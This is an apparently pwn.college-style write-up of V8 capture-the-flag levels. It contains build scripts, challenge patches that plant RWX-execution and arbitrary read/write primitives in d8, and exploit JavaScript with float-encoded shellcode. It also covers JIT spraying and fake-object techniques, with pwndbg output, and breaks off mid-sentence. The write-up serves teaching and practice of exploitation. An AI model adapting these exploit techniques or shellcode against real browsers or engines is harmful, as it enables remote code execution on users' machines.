Building V8
First of all, we need to setup our environment for building V8. Follow the instructions on the official V8 documentation to set up depot_tools and fetch the V8 source code. Or you can just run the following script:
#!/bin/bash
# 1. git clonegit clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
# 2. Prepare to buildexport PATH=`pwd`/depot_tools:"$PATH"fetch v8cd v8./build/install-build-deps.shsudo apt-get install ninja-build
# optional: If you want to build to a specific version, put in commit versiongit checkout 6538a20aa097f9c05ead98eb88c71819aa1e65aa
gclient sync
# optional: If given a patch file from a ctf or similar, patch it with that file# git apply <patchfile>
# 3.a. build using v8gen.py./tools/dev/v8gen.py x64.releaseninja -C ./out.gn/x64.release
./tools/dev/v8gen.py x64.debugninja -C ./out.gn/x64.debug
# 3.b. build using gm.pytools/dev/gm.py x64.releasetools/dev/gm.py x64.debugFor convenience when change each levels, you can use this script to auto apply patch, git checkout to specific commit, build:
#!/bin/bash
VER=$1PATCH_FILE=$2NAME=${3:-$VER}
if [ -z "$VER" ]; then echo "Usage: $0 <commit_hash> <patch_file> [build_name]" exit 1fi
# Change to V8 directorycd ~/pwn_college/v8/v8/ || { echo "Failed to change directory"; exit 1; }
git reset --hard "$VER" || { echo "Failed to reset to commit $VER"; exit 1; }
gclient sync -D || { echo "Failed to sync dependencies"; exit 1; }
if [ -n "$PATCH_FILE" ]; then if [ -f "$PATCH_FILE" ]; then git apply "$PATCH_FILE" || { echo "Failed to apply patch $PATCH_FILE"; exit 1; } else echo "Patch file $PATCH_FILE not found" exit 1 fifi
# Change build configuration as neededgn gen out/x64_$NAME.release --args='is_component_build = false is_debug = false target_cpu = "x64" v8_enable_sandbox = false v8_enable_backtrace = true v8_enable_disassembler = true v8_enable_object_print = true dcheck_always_on = false use_goma = false v8_code_pointer_sandboxing = false' || { echo "Failed to generate build configuration"; exit 1; }
ninja -C out/x64_$NAME.release d8 || { echo "Build failed"; exit 1; }
echo "Build completed successfully"Level 1
Patch Analysis
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.ccindex ea45a7ada6b..c840e568152 100644--- a/src/builtins/builtins-array.cc+++ b/src/builtins/builtins-array.cc@@ -24,6 +24,8 @@ #include "src/objects/prototype.h" #include "src/objects/smi.h"
+extern "C" void *mmap(void *, unsigned long, int, int, int, int);+3 collapsed lines
namespace v8 { namespace internal {
@@ -407,6 +409,47 @@ BUILTIN(ArrayPush) { return *isolate->factory()->NewNumberFromUint((new_length)); }
+BUILTIN(ArrayRun) {+ HandleScope scope(isolate);+ Factory *factory = isolate->factory();+ Handle<Object> receiver = args.receiver();++ if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Nope")));+ }++ Handle<JSArray> array = Cast<JSArray>(receiver);+ ElementsKind kind = array->GetElementsKind();++ if (kind != PACKED_DOUBLE_ELEMENTS) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("Need array of double numbers")));+ }++ uint32_t length = static_cast<uint32_t>(Object::NumberValue(array->length()));+ if (sizeof(double) * (uint64_t)length > 4096) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("array too long")));+ }++ // mmap(NULL, 4096, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);+ double *mem = (double *)mmap(NULL, 4096, 7, 0x22, -1, 0);+ if (mem == (double *)-1) {+ THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly,+ factory->NewStringFromAsciiChecked("mmap failed")));+ }++ Handle<FixedDoubleArray> elements(Cast<FixedDoubleArray>(array->elements()), isolate);+ FOR_WITH_HANDLE_SCOPE(isolate, uint32_t, i = 0, i, i < length, i++, {+ double x = elements->get_scalar(i);+ mem[i] = x;+ });++ ((void (*)())mem)();+ return 0;+}+68 collapsed lines
namespace {
V8_WARN_UNUSED_RESULT Tagged<Object> GenericArrayPop(Isolate* isolate,diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.hindex 78cbf8874ed..4f3d885cca7 100644--- a/src/builtins/builtins-definitions.h+++ b/src/builtins/builtins-definitions.h@@ -421,6 +421,7 @@ namespace internal { TFJ(ArrayPrototypePop, kDontAdaptArgumentsSentinel) \ /* ES6 #sec-array.prototype.push */ \ CPP(ArrayPush) \+ CPP(ArrayRun) \ TFJ(ArrayPrototypePush, kDontAdaptArgumentsSentinel) \ /* ES6 #sec-array.prototype.shift */ \ CPP(ArrayShift) \diff --git a/src/compiler/typer.cc b/src/compiler/typer.ccindex 9a346d134b9..58fd42e59a4 100644--- a/src/compiler/typer.cc+++ b/src/compiler/typer.cc@@ -1937,6 +1937,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) { return Type::Receiver(); case Builtin::kArrayUnshift: return t->cache_->kPositiveSafeInteger;+ case Builtin::kArrayRun:+ return Type::Receiver();
// ArrayBuffer functions. case Builtin::kArrayBufferIsView:diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..382c015bc48 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -3364,7 +3364,7 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3385,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3410,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/
return global_template; }diff --git a/src/init/bootstrapper.cc b/src/init/bootstrapper.ccindex 48249695b7b..40a762c24c8 100644--- a/src/init/bootstrapper.cc+++ b/src/init/bootstrapper.cc@@ -2533,6 +2533,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
SimpleInstallFunction(isolate_, proto, "at", Builtin::kArrayPrototypeAt, 1, true);+ SimpleInstallFunction(isolate_, proto, "run",+ Builtin::kArrayRun, 0, false); SimpleInstallFunction(isolate_, proto, "concat", Builtin::kArrayPrototypeConcat, 1, false); SimpleInstallFunction(isolate_, proto, "copyWithin",From the patch, we can see that a new builtin function ArrayRun is added to the V8 engine. From the implementation, it expects a JavaScript array of double numbers, maps a memory region with read, write, and execute permissions, copies the double values from the array into this memory region, and then executes the code at that memory location.
Their are some important checks in the code:
// Check that receiver is a JSArray with only simple elements. if (!IsJSArray(*receiver) || !HasOnlySimpleReceiverElements(isolate, Cast<JSArray>(*receiver))) { THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked("Nope"))); }This check ensures that the receiver is indeed a JavaScript array and that it only contains simple elements.
Note (JSArray and Simple Receiver Elements)
In V8, a JSArray is the internal representation of a real JavaScript Array. The HasOnlySimpleReceiverElements(...) check is a fast-path safety guard: it ensures element access behaves like a plain array with no special/observable lookup behavior. Concretely, it means:
-
No indexed accessors/interceptors on the array’s elements: the array does not have custom element access semantics (e.g., no getters/setters or interceptors that would run code when reading/writing arr[i]).
-
No indexed elements on the prototype chain: none of the prototypes contain indexed elements, so arr[i] cannot fall back to prototypes and change behavior.
This check does not by itself guarantee the array is packed/contiguous (no holes) or non-sparse, and it has nothing to do with Map/Set. Those properties are typically enforced by separate checks (e.g., inspecting the array’s ElementsKind such as PACKED_DOUBLE_ELEMENTS).
The seccond check is:
ElementsKind kind = array->GetElementsKind();
if (kind != PACKED_DOUBLE_ELEMENTS) { THROW_NEW_ERROR_RETURN_FAILURE(isolate, NewTypeError(MessageTemplate::kPlaceholderOnly, factory->NewStringFromAsciiChecked("Need array of double numbers"))); }This check ensures that the array is of type PACKED_DOUBLE_ELEMENTS, meaning it is a packed array containing only double-precision floating-point numbers.
Note (ElementsKind)
PACKED_DOUBLE_ELEMENTS does not mean every element was originally written as a floating-point literal. It means the array’s elements kind uses the unboxed double representation (a FixedDoubleArray) for fast numeric access.
In this mode, the array is expected to contain only numeric values. If you store an integer (a SMI in V8 terms), V8 can still keep it, but it will be represented as a double in the backing store (i.e., SMIs are not kept as tagged SMIs once the array is in a double-elements kind).

Also, the diagram should be read as a transition graph (how V8 widens/generalizes an array’s representation), not a strict “subset” relationship between element kinds:
-
“
PACKED_SMI_ELEMENTS→ upgrades toPACKED_DOUBLE_ELEMENTSwhen a non-integer number appears”. -
“
PACKED_DOUBLE_ELEMENTS→ upgrades toPACKED_ELEMENTS(tagged) when a non-number/object appears”. -
“Introducing holes (e.g., deleting an index or creating sparse indices) typically moves a
PACKED_*kind to the correspondingHOLEY_*kind”.
Exploit
function itof(bigIntArray) { const big64 = new BigInt64Array(bigIntArray); const doubles = new Float64Array(big64.buffer); return Array.from(doubles);}
let shellcode = [ 16323657644055069034n, 16611888020206780778n, 2608851925472796776n, 7307011539825918209n, 5210783956162667311n, 7308335460934430648n, 6357792841636794478n, 14757395258967590159n];
let shellcode_double = itof(shellcode);//%DebugPrint(shellcode_double);shellcode_double.run();Level 2
Patch Analysis
8 collapsed lines
diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..6b31fe2c371 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -1283,6 +1283,64 @@ struct ModuleResolutionData {
} // namespace
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate* isolate = info.GetIsolate();++ if (info.Length() == 0) {+ isolate->ThrowError("First argument must be provided");+ return;+ }++ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsHeapObject(*arg)) {+ isolate->ThrowError("First argument must be a HeapObject");+ return;+ }+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);++ uint32_t address = static_cast<uint32_t>(obj->address());+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));+}++void Shell::ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& info) {+ Isolate *isolate = info.GetIsolate();+ if (info.Length() != 1) {+ isolate->ThrowError("Need exactly one argument");+ return;+ }+ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsNumber(*arg)) {+ isolate->ThrowError("Argument should be a number");+ return;+ }+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg));+ uint64_t full_addr = base_addr + (uint64_t)addr;+ uint32_t result = *(uint32_t *)full_addr;+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, result));+}++void Shell::ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& info) {+ Isolate *isolate = info.GetIsolate();+ if (info.Length() != 2) {+ isolate->ThrowError("Need exactly 2 arguments");+ return;+ }+ internal::Handle<internal::Object> arg1 = Utils::OpenHandle(*info[0]);+ internal::Handle<internal::Object> arg2 = Utils::OpenHandle(*info[1]);+ if (!IsNumber(*arg1) || !IsNumber(*arg2)) {+ isolate->ThrowError("Arguments should be numbers");+ return;+ }+ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint32_t addr = static_cast<uint32_t>(internal::Object::NumberValue(*arg1));+ uint32_t value = static_cast<uint32_t>(internal::Object::NumberValue(*arg2));+ uint64_t full_addr = base_addr + (uint64_t)addr;+ *(uint32_t *)full_addr = value;+}+57 collapsed lines
void Shell::ModuleResolutionSuccessCallback( const FunctionCallbackInfo<Value>& info) { DCHECK(i::ValidateCallbackInfo(info));@@ -3364,7 +3422,13 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+ global_template->Set(isolate, "GetAddressOf",+ FunctionTemplate::New(isolate, GetAddressOf));+ global_template->Set(isolate, "ArbRead32",+ FunctionTemplate::New(isolate, ArbRead32));+ global_template->Set(isolate, "ArbWrite32",+ FunctionTemplate::New(isolate, ArbWrite32));+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3449,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3474,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/
return global_template; }diff --git a/src/d8/d8.h b/src/d8/d8.hindex a19d4a0eae4..476675a7150 100644--- a/src/d8/d8.h+++ b/src/d8/d8.h@@ -507,6 +507,9 @@ class Shell : public i::AllStatic { }; enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };
+ static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);+ static void ArbRead32(const v8::FunctionCallbackInfo<v8::Value>& args);+ static void ArbWrite32(const v8::FunctionCallbackInfo<v8::Value>& args); static bool ExecuteString(Isolate* isolate, Local<String> source, Local<String> name, ReportExceptions report_exceptions,As we can see, three new functions are added to the d8 shell: GetAddressOf, ArbRead32, and ArbWrite32. Pretty easy to guess what they do from their names.
We just have one thing to note here is that if you look at the implementation of ArbRead32 function, you will notice that, the address it return to us is not a real virtual address, but an offset. This is because V8 uses Pointer Compression to reduce memory usage. Instead of using full 64-bit pointers, it uses 32-bit offsets relative to a base address (the “cage base”). This saves memory but requires calculating the actual address by adding the cage base to the offset.
Exploit
The technique I use here is JIT Spraying, I’ll explain it in detail in the next level (because I deleted the d8 binary after finishing level 2 :D ) or you can read about it here
const logInfo = (m) => console.log(`[*] ${m}`);const logOK = (m) => console.log(`[+] ${m}`);const logErr = (m) => console.log(`[-] ${m}`);
// execve("catflag", 0, 0);const shell = () => {return [1.9995716422075807e-246, 1.9710255944286777e-246, 1.97118242283721e-246, 1.971136949489835e-246, 1.9711826272869888e-246, 1.9711829003383248e-246, -9.254983612527998e+61];}
// %PrepareFunctionForOptimization(shell);// shell();// %OptimizeFunctionOnNextCall(shell);// shell();// %DebugPrint(shell);
for(let i = 0; i< 10000; i++) shell();// %DebugPrint(shell);
let shell_addr = GetAddressOf(shell);logOK("shell @ " + shell_addr);
let code_ptr = ArbRead32(shell_addr + 0xc);logOK("code_ptr @ " + code_ptr);
let rwx_addr = ArbRead32(code_ptr - 1 + 0x14);logOK("rwx_addr @ "+ rwx_addr);
let shellcode_start = rwx_addr + 0x69 + 2;logINfo("shellcode_start @ " + shellcode_start);ArbWrite32(code_ptr - 1 + 0x14,shellcode_start);
shell();Level 3
Patch Analysis
diff --git a/src/d8/d8.cc b/src/d8/d8.ccindex facf0d86d79..0299ed26802 100644--- a/src/d8/d8.cc+++ b/src/d8/d8.cc@@ -1283,6 +1283,52 @@ struct ModuleResolutionData {
} // namespace
+void Shell::GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate* isolate = info.GetIsolate();++ if (info.Length() == 0) {+ isolate->ThrowError("First argument must be provided");+ return;+ }++ internal::Handle<internal::Object> arg = Utils::OpenHandle(*info[0]);+ if (!IsHeapObject(*arg)) {+ isolate->ThrowError("First argument must be a HeapObject");+ return;+ }+ internal::Tagged<internal::HeapObject> obj = internal::Cast<internal::HeapObject>(*arg);++ uint32_t address = static_cast<uint32_t>(obj->address());+ info.GetReturnValue().Set(v8::Integer::NewFromUnsigned(isolate, address));+}++void Shell::GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& info) {+ v8::Isolate *isolate = info.GetIsolate();+ Local<v8::Context> context = isolate->GetCurrentContext();++ if (info.Length() != 1) {+ isolate->ThrowError("Need exactly one argument");+ return;+ }++ Local<v8::Uint32> arg;+ if (!info[0]->ToUint32(context).ToLocal(&arg)) {+ isolate->ThrowError("Argument must be a number");+ return;+ }++ uint32_t addr = arg->Value();++ internal::PtrComprCageBase cage_base = internal::GetPtrComprCageBase();+ internal::Address base_addr = internal::V8HeapCompressionScheme::GetPtrComprCageBaseAddress(cage_base);+ uint64_t full_addr = base_addr + (uint64_t)addr;++ internal::Tagged<internal::HeapObject> obj = internal::HeapObject::FromAddress(full_addr);+ internal::Isolate *i_isolate = reinterpret_cast<internal::Isolate*>(isolate);+ internal::Handle<internal::Object> obj_handle(obj, i_isolate);+ info.GetReturnValue().Set(ToApiHandle<v8::Value>(obj_handle));+}55 collapsed lines
+ void Shell::ModuleResolutionSuccessCallback( const FunctionCallbackInfo<Value>& info) { DCHECK(i::ValidateCallbackInfo(info));@@ -3364,7 +3410,11 @@ Local<FunctionTemplate> Shell::CreateNodeTemplates(
Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { Local<ObjectTemplate> global_template = ObjectTemplate::New(isolate);- global_template->Set(Symbol::GetToStringTag(isolate),+ global_template->Set(isolate, "GetAddressOf",+ FunctionTemplate::New(isolate, GetAddressOf));+ global_template->Set(isolate, "GetFakeObject",+ FunctionTemplate::New(isolate, GetFakeObject));+/* global_template->Set(Symbol::GetToStringTag(isolate), String::NewFromUtf8Literal(isolate, "global")); global_template->Set(isolate, "version", FunctionTemplate::New(isolate, Version));@@ -3385,13 +3435,13 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { global_template->Set(isolate, "readline", FunctionTemplate::New(isolate, ReadLine)); global_template->Set(isolate, "load",- FunctionTemplate::New(isolate, ExecuteFile));+ FunctionTemplate::New(isolate, ExecuteFile));*/ global_template->Set(isolate, "setTimeout", FunctionTemplate::New(isolate, SetTimeout)); // Some Emscripten-generated code tries to call 'quit', which in turn would // call C's exit(). This would lead to memory leaks, because there is no way // we can terminate cleanly then, so we need a way to hide 'quit'.- if (!options.omit_quit) {+/* if (!options.omit_quit) { global_template->Set(isolate, "quit", FunctionTemplate::New(isolate, Quit)); } global_template->Set(isolate, "testRunner",@@ -3410,7 +3460,7 @@ Local<ObjectTemplate> Shell::CreateGlobalTemplate(Isolate* isolate) { if (i::v8_flags.expose_async_hooks) { global_template->Set(isolate, "async_hooks", Shell::CreateAsyncHookTemplate(isolate));- }+ }*/
return global_template; }diff --git a/src/d8/d8.h b/src/d8/d8.hindex a19d4a0eae4..fbb091afbaf 100644--- a/src/d8/d8.h+++ b/src/d8/d8.h@@ -507,6 +507,8 @@ class Shell : public i::AllStatic { }; enum class CodeType { kFileName, kString, kFunction, kInvalid, kNone };
+ static void GetAddressOf(const v8::FunctionCallbackInfo<v8::Value>& args);+ static void GetFakeObject(const v8::FunctionCallbackInfo<v8::Value>& args); static bool ExecuteString(Isolate* isolate, Local<String> source, Local<String> name, ReportExceptions report_exceptions,We have two new functions here: GetAddressOf (same as level 2) and GetFakeObject. The GetFakeObject function takes an address (offset) as input, calculates the full virtual address by adding the cage base, and then constructs a V8 HeapObject from that address. It then returns a JavaScript object that represents this heap object.
Exploit
Arbitrary Read/Write Primitive
Next we want an arbitrary read/write primitive — a way to make JavaScript read or write memory addresses we choose (on the V8 heap).
To understand why this works, you need one V8 concept: Maps / HiddenClasses. In V8, the first field of a heap object points to its HiddenClass (Map). That “shape” tells V8 what the object is and how to interpret the bytes that follow — where its properties live, how elements are stored, etc. So when you do something like a[0], V8 first checks the object’s HiddenClass to know how to fetch element 0 correctly.
Arrays are especially interesting because V8 stores indexed elements in a separate elements store (a backing array), rather than inline with the object itself. And V8 even tracks multiple “elements kinds” (e.g., packed vs holey, SMIs vs doubles vs tagged values), which affects how it interprets the backing store.
So why is this important? Well, our next step is to craft a fake object in-memory, then use GetFakeObject() to actually ‘use’ that object. We can write arbitrary content in memory with an array of floats, and we know where that content is with GetAddressOf().
The object we’re going to fake is an array of floats. If we trick JavaScript into treating our crafted memory as an ‘array of floats’ object, we can change the ‘elements’ pointer (which points to the actual contents of the array) to anything we want, and now we have an arbitrary read/write on the JS heap. The code below is my setup and implementation for it (please debug it to understand how it works):
let float_arr = [1.1, 2.2, 3.3];// First we construct a fake map in memory// Remember that the first 4 WORDS (0x10 bytes || WORDS = 4 bytes in this case we// work with 32-bits address) of one object look like this:// map | properties | elements | lengthlet fake_map = [itof(0x123456789abcdefn), 1.1, 1.1, 1.1];let fake_map_addr = GetAddressOf(fake_map);// Address of the content of the fake map// So that we can use GetFakeObject on it to create a fake objectlet element_addr = fake_map_addr - 0x20;// Write a fake map pointer at the start of our float arrayfake_map[0] = itof(0x1cb8a5n);
function arbRead(addr) { addr = BigInt(addr);
if (addr % 2n == 0n) { addr += 1n; }
fake_map[1] = itof(0x600000000n + (addr - 8n)); let fake_obj = GetFakeObject(element_addr); return ftoi(fake_obj[0]);}
function arbWrite(addr, val) { addr = BigInt(addr); val = BigInt(val);
if (addr % 2n == 0n) { addr += 1n; }
fake_map[1] = itof(0x600000000n + (addr - 8n)); let fake_obj = GetFakeObject(element_addr); fake_obj[0] = itof(val);}JIT-Spraying
To get code execution, we can leverage the JIT compiler to generate RWX memory for us. The idea is to create a function that enough “hot” to trigger optimization by the JIT compiler. Once optimized, we can inspect the function’s memory layout to find the RWX memory region where the JIT-compiled code resides. We can then overwrite this region with our shellcode and execute it. Let’s see how we can do this:
const shell = () => { return [ 2261634.5098039214, 156842099844.51764 ];};
for (let i=0; i<10000; i++) { shell();};
%DebugPrint(shell);%SystemBreak();Debug in gdb until the SystemBreak and inspect the shell function:
pwndbg> job 0x392600043a550x392600043a55: [Function] - map: 0x3926001c0a9d <Map[28](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x3926001c0951 <JSFunction (sfi = 0x392600141889)> - elements: 0x392600000725 <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: <no-prototype-slot> - shared_info: 0x3926001d3b39 <SharedFunctionInfo shellcode> - name: 0x3926001d3791 <String[9]: #shellcode> - formal_parameter_count: 0 - kind: ArrowFunction - context: 0x3926001d3cd9 <ScriptContext[12]> - code: 0x392600240241 <Code MAGLEV> - source code: () => { return [ 2261634.5098039214, 156842099844.51764 ];} - properties: 0x392600000725 <FixedArray[0]> - All own properties (excluding elements): { 0x392600000d99: [String] in ReadOnlySpace: #length: 0x392600026099 <AccessorInfo name= 0x392600000d99 <String[6]: #length>, data= 0x392600000069 <undefined>> (const accessor descriptor, attrs: [__C]), location: descriptor 0x392600000dc5: [String] in ReadOnlySpace: #name: 0x392600026079 <AccessorInfo name= 0x392600000dc5 <String[4]: #name>, data= 0x392600000069 <undefined>> (const accessor descriptor, attrs: [__C]), location: descriptor } - feedback vector: 0x3926001d3f99: [FeedbackVector] in OldSpace - map: 0x3926000007e1 <Map(FEEDBACK_VECTOR_TYPE)> - length: 1 - shared function info: 0x3926001d3b39 <SharedFunctionInfo shellcode> - no optimized code - tiering state: TieringState::kNone - maybe has maglev code: 0 - maybe has turbofan code: 0 - invocation count: 9992 - closure feedback cell array: 0x3926000020bd: [ClosureFeedbackCellArray] in ReadOnlySpace - map: 0x3926000007b9 <Map(CLOSURE_FEEDBACK_CELL_ARRAY_TYPE)> - length: 0 - elements:
- slot #0 Literal { [0]: 0x3926001d4055 <AllocationSite> }pwndbg> x/10xg 0x392600240241-1+0x140x392600240254: 0x00005af6d7c80800 0x00000124800000ab0x392600240264: 0x0000000000000028 0x00000028ffffffff0x392600240274: 0x0000002800000028 0x000005bdffff00010x392600240284: 0x0024033900000058 0x002403fd000000020x392600240294: 0x0000001a0000016c 0x002403f500000002pwndbg> vmmap 0x00005af6d7c80800LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA Start End Perm Size Offset File (set vmmap-prefer-relpaths on) 0x392600340000 0x392700000000 ---p ffcc0000 0 [anon_392600340]► 0x5af6d7c80000 0x5af6f7c80000 rwxp 20000000 0 [anon_5af6d7c80] +0x800 0x5af6fa156000 0x5af6fb2a9000 r--p 1153000 0 d8From the above, we can see that the RWX memory region starts at 0x5af6d7c80000. Let’s examine that address to find our shellcode:
pwndbg> x/10i 0x00005af6d7c80800 0x5af6d7c80800: mov ebx,DWORD PTR [rcx-0xc] 0x5af6d7c80803: add rbx,r14 0x5af6d7c80806: test BYTE PTR [rbx+0x1e],0x20 0x5af6d7c8080a: jne 0x5af6fc5cae00 <Builtins_CompileLazyDeoptimizedCode> 0x5af6d7c80810: movabs r9,0x3926001d3f99 0x5af6d7c8081a: test BYTE PTR [r9+0xd],0x2e 0x5af6d7c8081f: jne 0x5af6fc5ca8c0 <Builtins_MaglevOptimizeCodeOrTailCallOptimizedCodeSlot> 0x5af6d7c80825: push rbp 0x5af6d7c80826: mov rbp,rsp 0x5af6d7c80829: push rsipwndbg> 0x5af6d7c8082a: push rdi 0x5af6d7c8082b: push rax 0x5af6d7c8082c: cmp rsp,QWORD PTR [r13-0x60] 0x5af6d7c80830: jae 0x5af6d7c8083c 0x5af6d7c80832: mov eax,0x1b0 0x5af6d7c80837: call 0x5af6fc5ca840 <Builtins_MaglevFunctionEntryStackCheck_WithoutNewTarget> 0x5af6d7c8083c: mov rdi,QWORD PTR [r13+0x48] 0x5af6d7c80840: lea r10,[rdi+0x28] 0x5af6d7c80844: cmp r10,QWORD PTR [r13+0x50] 0x5af6d7c80848: jae 0x5af6d7c808e8pwndbg> 0x5af6d7c8084e: mov QWORD PTR [r13+0x48],r10 0x5af6d7c80852: add rdi,0x1 0x5af6d7c80856: mov rax,rdi 0x5af6d7c80859: mov ecx,0x8a9 0x5af6d7c8085e: mov DWORD PTR [rdi-0x1],ecx 0x5af6d7c80861: mov ecx,0x4 0x5af6d7c80866: mov DWORD PTR [rdi+0x3],ecx 0x5af6d7c80869: movabs r10,0x4141414141414141 0x5af6d7c80873: vmovq xmm0,r10 0x5af6d7c80878: vmovsd QWORD PTR [rdi+0x7],xmm0You can see that, the value 0x4141414141414141 (from our shellcode) is being stored at r10, so at that instruction address 0x5af6d7c80869, if we add 2, we get the start of our shellcode: 0x5af6d7c8086b.
pwndbg> x/10xg 0x5af6d7c80869+20x5af6d7c8086b: 0x4141414141414141 0x11fbc5c26ef9c1c40x5af6d7c8087b: 0x42424242ba490747 0x6ef9c1c4424242420x5af6d7c8088b: 0x8d480f4711fbc5c2 0xfa8b48c78b4818500x5af6d7c8089b: 0xff5f89001cb8a5bb 0x89000007259e8d490x5af6d7c808ab: 0x0b4a89074289035a 0x4917408bf0458b48We notice that the value have some distance between them, so that we need to create a shellcode that jump to the next 8 bytes of shellcode
pwndbg> x/10xg 0x5af6d7c80869+20x5af6d7c8086b: 0x4141414141414141 0x11fbc5c26ef9c1c40x5af6d7c8087b: 0x42424242ba490747 0x6ef9c1c4424242420x5af6d7c8088b: 0x8d480f4711fbc5c2 0xfa8b48c78b4818500x5af6d7c8089b: 0xff5f89001cb8a5bb 0x89000007259e8d490x5af6d7c808ab: 0x0b4a89074289035a 0x4917408bf0458b48pwndbg> x/10xg 0x5af6d7c80869+2 + 60x5af6d7c80871: 0xc5c26ef9c1c44141 0x4242ba49074711fb0x5af6d7c80881: 0xc1c4424242424242 0x0f4711fbc5c26ef90x5af6d7c80891: 0x48c78b4818508d48 0x89001cb8a5bbfa8b0x5af6d7c808a1: 0x0007259e8d49ff5f 0x89074289035a89000x5af6d7c808b1: 0x408bf0458b480b4a 0x04076883c6034917pwndbg> x/10xg 0x5af6d7c80869+2 + 6 + 140x5af6d7c8087f: 0x4242424242424242 0x11fbc5c26ef9c1c40x5af6d7c8088f: 0x8b4818508d480f47 0x1cb8a5bbfa8b48c70x5af6d7c8089f: 0x259e8d49ff5f8900 0x4289035a890000070x5af6d7c808af: 0xf0458b480b4a8907 0x6883c6034917408b0x5af6d7c808bf: 0x000000348c0f0407 0x48e8458b4cc28b48We see that the distance between each 8 bytes of shellcode is 14 (0xe), and we have 6 